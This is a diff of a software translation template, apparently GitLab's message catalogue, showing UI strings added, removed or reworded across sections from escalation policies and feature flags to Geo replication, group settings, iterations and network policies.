msgstr ""
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12463,9 +12265,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13024,9 +12856,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13169,7 +12998,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13680,9 +13494,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13713,9 +13524,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13731,9 +13539,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13773,24 +13578,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13800,9 +13593,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -13885,9 +13675,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -13903,6 +13690,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -13969,9 +13759,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,10 +13951,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14368,159 +14155,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14710,9 +14362,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14785,6 +14434,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14794,6 +14449,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15388,9 +15052,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15457,9 +15127,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15559,13 +15229,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15601,9 +15268,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -15916,18 +15580,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -15991,13 +15655,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16295,6 +15962,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16527,6 +16194,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16703,9 +16373,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17526,9 +17211,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17833,6 +17518,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -17908,25 +17596,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,7 +17629,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -17971,9 +17638,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18733,18 +18439,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18856,9 +18550,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19250,9 +18938,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19460,6 +19145,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19674,6 +19362,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19926,9 +19626,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20253,6 +19953,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21233,9 +20930,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21494,9 +21188,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21720,7 +21408,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
